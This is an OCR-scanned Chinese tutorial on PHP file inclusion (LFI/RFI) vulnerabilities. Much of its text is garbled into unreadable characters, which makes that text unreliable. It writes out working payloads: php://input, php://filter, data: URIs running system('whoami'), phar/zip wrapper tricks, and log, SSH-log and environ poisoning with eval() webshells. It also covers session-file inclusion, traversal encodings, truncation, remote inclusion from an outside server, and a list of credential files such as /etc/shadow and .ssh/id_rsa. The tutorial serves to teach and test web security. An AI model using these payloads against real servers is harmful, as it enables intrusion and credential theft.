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include()
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include_once()#lrequire_once()
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0x003 733K

LFI(Local File Inclusion)
AR AR, S E I BRRRITIT &AM RRR. KREMEL T BRI EETRFE#ZLF. R&8K
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RFI(Remote File Inclusion)

EREAE TR RIGREEETEERS S ERXHIFHIIT. HTEZERFS S CHRBATTIZN, FILFR—BFER
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ERFIKA A ZAB A Z], FEphp.inif#TRE

allow_url_fopen = On
allow_url_include = On
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T E BT R

<?php
$file = $ GET['file'];
include $file;

?>

allow_url fopen ZRIAAN On
allow_url_include ERikA OFff

HRHRRER, SENMHXFRED.

o phpfhthHiX

php://input
A %A

allow _url include = On.




Stallow_url_fopen i ER .
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fF Fphpiit, KA S NEHE. LHEE

@ Load URL ht:tp:*'rﬂz?'o:OJ’2500"rﬁ|9i”d”defi"de"'PhF" s01 ; Maximum allowed size for uploaded files.
g% Split URL *ile=php//input g0z ; http://php.net/upload-max-filesize
8

b Execute oz upload_max_filesize = 2m

[ Post dsta [ ] Referrer @ OxHEX 3B & %URL & BASEEd I |: gos ; Maximum number of files that can be uplo:
g06 max_file_uploads = 20

Post data =7 phpinfo();?= 807
BO8 i3y isiiasiinaiiag
809 ; FOPEnN wWrappers ;
BlO S ssiisaarssaaasaa
811
812 ; whether to allow the treatment of URLs (
813 ; http://php. net/allow-url-fopen

PHP VerSion 5.4.45 514 allow_ur1_fopen = off

16 ; Whether to allow include/require to open
817 ; http://php. net/allow-url-include
8

12 allow_ur1_include = 0On
i T

20 ; Define the anonymous ftp password (your
21 ; for this is empty.

Svstem Windows NT ASLUS-PC 6.3 buiil

o php:/filter

FFH%E: T

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

WIS FREAREK M, T LA Zbase64 N 5 K SRS, )5 Fibase64fid— T EliT. BARTEEEERM B shell, (HEE
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import base64

base64.b64decode ("PDO9waHAgDQoIIGZpbGUgPSAKXOdFVFsnZmlsZSddOwOKCW1uY2x1ZGUgIGZpbGU7DQo/Pg==")

b"<?php \r\n\t$file = $_GET[file'];\r\n\tinclude $file;\r\n?>"
FRAP BB M

windows

:\boot.ini
:\windows\systems32\inetsrv\MetaBase.xml
:\windows\repair\sam

:\windows\php.ini phplic B 34
:\windows\my.ini my'sq1Hc B 14




/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/1ib/php.ini PHPHHR &
/etc/httpd/conf/http.conf apacheft & X
/etc/my.cnf

/etc/passwd

/var/log/apache/error.log

/proc/self/environ
/var/log/
/var/log/apache/access.log

rootA R :

.ssh/authorized_keys
.ssh/id _rsa
.ssh/id_rsa.keystore
.ssh/id_rsa.pub
.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/var/log/wtmp

/var/run/utmp

HoAoth %35

index.php?file=php://filter/convert.base64-encode/resource=index.php
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1. phphi A KF% Fphp5.3.0

LY.

BB A phpinfo.txt, K2 A<?php phpinfo(); 2>, ITHEBzZipE4E, 0T

< * ] = ~ BB testzip File Edit Selection Find View Goto Tools Project Pr
B 4p phpinfo.bt

W EEER) . .
Bl chpinfotxt < ?php phpln'FC‘( ) 3
TR E 40T B4R

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

EE AN BRE (X HtestZpRAELRTHRT)

index.php?file=phar://test.zip/phpinfo.txt




Load URL  (127.0.0.1:2500/fileinclude/findex.php?file=phar//test.zip/phpinfo.bet Sl U= EEITEETR Alsrdsels
split URL xm  HE  =E BEEE
EXeclEe @ + 1 L E&EE » FIEE (D) » phpStudy » WWW b fileinclude »
[] Post data [ | Referrer 4™ OxHEX ™ &% SURL )
T = index.php
S5 PHP 304
1% =esE . phpinfo.txt

€
" s 2B, testzip

S A o ZIP

o zip:/l
FIF %A

1. phphR 4~ X4 Fphp5.3.0
B

Wi zip K 7 Fphar.
BEAZpthi, TERELWNBE, FNB#RIGN%23, Z)5HE EESEE NS

http://127.0.0.1:2500/fileinclude/index.phpile=zip://D:\phpStudy\WWWifileinclude\test.zip%23phpinfo.txt

A= EEITETE fileinclude
== =E BEEE

L» E&EE » FIEE (D) » phpStudy » WWW » fileinclude

[] Post data [ | Referrer 4 OxHEX X 8 %URLEl

T index.php

SR PHP 30
18 = . phpinfo.oxt
G s

2B test.zip
= 2R YT 7IP R

FRE AN RE, MR,
o data:URI schema

A P 2%

1. phphitA K T4 Fphp5.2
2. allow_url_fopen=0n

3. allow_url_include = On
BH—.



http://127.0.0.1:2500/fileinclude/findex.php?file=data:text/plain, < ?php phpinfo();7>

[] Postdata [ ] Referrer 4™ OxHEX ™% 4% oURL ™ % BASEGd I

System Windows NT ASUS-PC 6.3 bu
Build Date Sep 2 2015 23:45:53

AT S TEEIITHS

= 1
799

goo ; Whether to allow the treatment of URLs (like http:
go1 ; http://php.net/allow-url-fopen

g0z allow_url_fopen = On W

803

204 ; Whether to allow include/require to open URLs (11l
sos ; http://php.net/allow-url-include

goe allow_url_include = on

807 \

go8 ; Define the anonymous ftp password (your email addr
goa; for this is empty.

810 ; http://php.net/from

g11 ; from="john@doe. com”

a12|

813 ; Define the user-agent string. PHP's default settir
814 ; http://php.net/user-agent

815 ;user_agent="PHP"

816

IS +Eurgiiy A %2b, PD9waHAgcGhwaWsmbygpOz8+Hibase64f# g N: <?php phpinfo();?>

http://127.0.0.1:2500/fileinclude/findex.php?file=data:text/plain;base6d, PD9waHAgcGhwaWsmbygpOz8%2b

[ Postdata [ Referrer € OxHEX 3 @ %URL ¥» & BASEG4 I  |lnsert string fo replace

Insert replacing string

Replace All 38 | ™=

System Windows NT ASUS-PC 6.3 build 9200 (Windows 8.1 Home Premium Edition) i5&& ‘

i ndex.php?file=data:text/plain;base64,PD9waHAgc31zdGVtKCd3aGOhbWknKTs/Pg==

HFPD9waHAgc3IzdGVKCd3aG9nhbWknKTs/Pg==f]baseb4f#Hi5% H: <?php system(‘whoami');?>

o U4 session

A P 2%

1. sessionXfBAECH, BHEPHNEERS T,

L3R

phpH)session3Z {4 ] LR 77 B 42 T LAFE phpinfoffisession.save_path% .
% WK php-sessionfE b & :



/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID

/tmp/sess PHPSESSID
/tmp/sessions/sess PHPSESSID

sessionff) 3 fE 4 #% R Nsess_[phpsessid]. Tphpsessid?Ecookie B H 7] LLFE F,

BAEHMAKE, &EEESH ) sesssion KA E. BREEERK M E. LK, TG & sessionCf, WE
BHEHNA, REREETKFBORRATENZE, WA HZERE \payload, 2 J& B K EENTHATphpAES.

e BFHE

YA H &
A %A

1. "WEMERS S H SR F@HERE, HB S0
g
Ui [0 #4482 http://mww.test.com/<;?php eval(POST _[‘test’]) 7>
e ST
http://mwww.test.com/index.php?func=/var/log/apache/access.log

XA — NG, B Faccessi HESCHFLEIK, Frblwebshelld] fE & R18H 2 K5

Al LA 228 A9 & var/log/apache/error.log
XA, k4K KAEFE Blerror.log b (3% Feerror log B AiE H B thacess.log B F /N £).

e SSHlog

A A -

1. BEMEssh-loglfrE, HWik. BINEHR T A harlog/auth.log

LY.

WRwebfR %28 Tssh, BIRFTCAE A puttyZE8 Hum O, AT DLERER:, [FH<?php eval(POST _[test]) ?>1E N F 4,
RIGHEBFRBE, APt FEsshif kBB AN E (arlog/authlog) #1, FATH I A XA H &34k Blwebshell.

e f % environ

A A -

1. phpllegiF Rig1T, XFfenvironF &fRFUAL.
2. environXC N B B, HenvironSCH Al 2 .
B

AT user-agenth il N —H)1E, RJE VT HwebR%52%, #E/proc/selffenvirontf&f& R i1user-agentfE B, RERITTUESE
Z AR webshell. T T A2 1% SCHE A 2


http://www.test.com/
http://www.test.com/index.php?func=/var/log/apache/access.log

DOCUMENT_ROOT=/home/sirgod/public_html

GATEWAY_INTERFACE=CGI/1.1

HTTP_ACCEPT=text/html, application/xml;gq=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1

HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac
HTTP_HOST=www.test.com

HTTP_REFERER=http://www.test.com/index.php

HTTP_USER_AGENT=0Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00
PATH=/bin:/usr/bin
QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6X.1XX.4X.1XX

REMOTE_PORT=35665

REQUEST_METHOD=GET
REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/sirgod/public_html/index.php
SCRIPT_NAME=/index.php

SERVER_ADDR=1xX.1XX.1XX.6X

SERVER_ADMIN=webmaster@test.com

SERVER_NAME=www.website.com

SERVER_PORT=80

SERVER_PROTOCOL=HTTP/1.0

SERVER_SIGNATURE=

Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/©.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4

FrontPage/5.0.2.2635 Server at www.test.com Port 80

o &fd
PR ErenvironZS L.

B I B ST

phpH EA& SO, AU IRE XM, Elinux FEAAmp B 3%, T#Ewindows {8 F c:\winsdows\temp B 3. 7 I e ST M B 2
BT, ) 354 B AT i I B ST A

HTFEEREMERSH XML, —FMTERBTRIIEMR, linux TR BENLRECE B4, Mwindow F R H 655354 AR 3L
s, BT TR AT

5 — 5~ E & phpinfo Tl [ Kiphp variables, 7 PAE#EIREE)_F4E BRI F#EBREMEN X H4, BERESM., XANHER
PLZ#%LFI With PHPInfo Assistance

RO AR SO RFE, BHENEEEEH, TUEFXECTFE: XMANE 4 E-2017-babyweb-writeup

BE X

FAZM: TN, NEEDBEE LLRSTHER, MELF. . .

£ 3R

EEEES EERES, NiLT, KZT.
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BETROWSIES. FERIANFREEAZ AT R EKinclude $_GET[file; XHEZIEZRANBTREN. £
MERELTHRESCHAREETER, LN TEHXBABKEE T WENGER:

<?php
$file = $ GET['file'];

include '/var/www/html/'.$file.'/test/test.php’;
?>

A RUR " B 4% 25 B 5 B T 3R B MR AR SO

TR
FHIE— T HE TSR EE. WA

<?php

$file = $ GET['file'];

include '/var/www/html/'.$file;
?>

H 33 [
RARERT, WENE—T,

BLLETE var/loghtest xS H1 78 php A% <?php phpinfo();?>, WIFRIA.../AT AT B &, HeanRA12105 19 «

include.php?file=../../log/test.txt

] AR 55 2% 3 S PB4 SR R A2 Ivariwwwihtml... /.. llogltest.txt, Bl /var/log/test.txt. TGRS I .

gmig gt
R4S B H AT A T e, WU R TSR . THXEEERE (AR FHWebZE) .
I url4m g

L

o %2e%2e%2f
o .. .%2f
° %2e%2e/

o %2e%2e%5c
o . .%5c

o %2e%2e\

° %252e%252e%252f
e .\
° %252e%252e%255¢c

B IR 5 A ) g T 3



...%c0%af

%c0%ae%c0%ae/
. javatF &8 %c0%ae @M ANUCOAE”, &5 X AASCCIERH”.” ()

o ...%c1%9c

e R &
EEEBEREFERNEI. WA

<?php
$file = $_GET['file'];

include $file.'/test/test.php’;
?>

URL

urltg =,

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

EEFESHFEERIE (RFD 1, BT BAR A querysifragmentR5eid J& 4% PR il -

EH—: query (?)

index.php?file=http://remoteaddr/remoteinfo.txt?

A& 134 hitp://remoteaddr/remoteinfo.txt?/test/test.php
) 5 J5 TH i) #5843 test/test.php,  t 312 i % B J5 B4 A Equery N T 58t

RL  [127.0.0.1:2500/fileinclude/index.phpile=http:// fremoteinfo.txt?
RL root@VM-287-93-ubuntu: /var/www/html# cat remoteinfo.txt

e <?php phpinfo(); ?>

RPN = e} // This is a remote file
root@vVM-207-93-ubuntu: /var/www/html# I

PHP Version 5.4.45

B~ fragment (#)

index.php?file=http://remoteaddr/remoteinfo.txt%23


http://remoteaddr/remoteinfo.txt?/test/test.php

A& 34 hitp://remoteaddr/remoteinfo.txt#/test/test.php
w5 J5 TH F &8 20 /test/test.php,  HEE R TR & B JE S8 A fEfragment AT 581 . V£ 75 BT urgiig N %23,

root@vMm-287-93-ubuntu:/var/www/html# cat remoteinfo.txt

F 27.0.0.1:2500/fileinclude/index.php?ile=http://123.207.38.100/remoteinfo.txt%23

<?php phpinfo(); ?>
// This is a remote file
LlPostdata []Reforrer &K OxHEX 2 &K %URL M &K BASEG 3B E root@M-287-93-ubuntu: /var/www/html# [J

PHP Version 5.4.45

A #r

BT A 32 2053 R F zip il fiphar il . B BLAEI R A

= $ GET['file'];

include $file.'/test/test.php';
?>

& R4 0T

Htestphp W EN:

<?php phpinfo(); ?>

M zipWhil, HERER €40

index.php?file=zip://D:\phpStudy\WWW/fileinclude\chybeta.zip%23chybeta
MPtEEE N: zip://D:\phpStudy\WWWifileinclude\chybeta.zip#chybeta/test/test.php
RERIN AL

KW

FIF%M: phphZ < php 5.2.8
HxFRrE, 7Einux F4096 7T &iA BB AME, 7Ewindow F2256F%. RERMKELR./

index.php?file=././././c o o EW&. o o ././shell.txt

N J5 S ltestitest.php, EXBIRKNEFSWEEEFTH.
0= W& W

P %M. phphi4ds <php 5.3.4

index.php?file=phpinfo.txt%00

0x0053E ik I B 3 44, &5 AU HG


http://remoteaddr/remoteinfo.txt#/test/test.php

jspxC A& IR

include

<%@ include file="head.jsp”%>
<%@ include file="body.jsp”%>
<%@ include file="tail.jsp"%>

jsp:include

<jsp:include page="head.jsp”/>
<jsp:include page="body.jsp”/>
<jsp:include page="tail.jsp”/>

FKHJSTL

<c:import url="http://thief.one/1.jsp">

BB

(1)includes & 7E # #e i 48 N\ “Header jsp"HIVERES, AR ESIELEIZ 1T IS 6 A\ ‘Header.jsp” WA R . TG RVFIRE & 3 CHFFIER
A, Tiinclude Bt AR BRI — AN SO A 2 24 A ER A B N 2 F 30 %

Q)RHAFEM AR, REEQEUnTweb A E, Aidcimportn] PLE &R Z SN HE

o aspXHEERIA

aspHUATEECEZEXM GisZa2RE) , REgU &AM, HEWT:

aspxX3CHHEE IR
aspx XA Sasp—#HE, EEMT:

<!--#include file="top.aspx" -->



	文件包含漏洞
	程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件， 而无需再次编写，这中文件调用的过程一般被称为文件包含。 程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用， 但正是由于这种灵活性，从而导致客户端可以调用一个恶意文件，造成文件包含漏洞。 几乎所有脚本语言都会提供文件包含的功能，但文件包含漏洞在PHP Web Application中居多, 而在JSP、ASP、ASP.NET程序中却非常少，甚至没有，这是有些语言设计的弊端。 在PHP中经常出现包含漏洞，但这并不意味这其他语言不存在。
	0x001 常见文件包含函数
	0x002 利用条件
	0x003 分类
	0x004 包含姿势


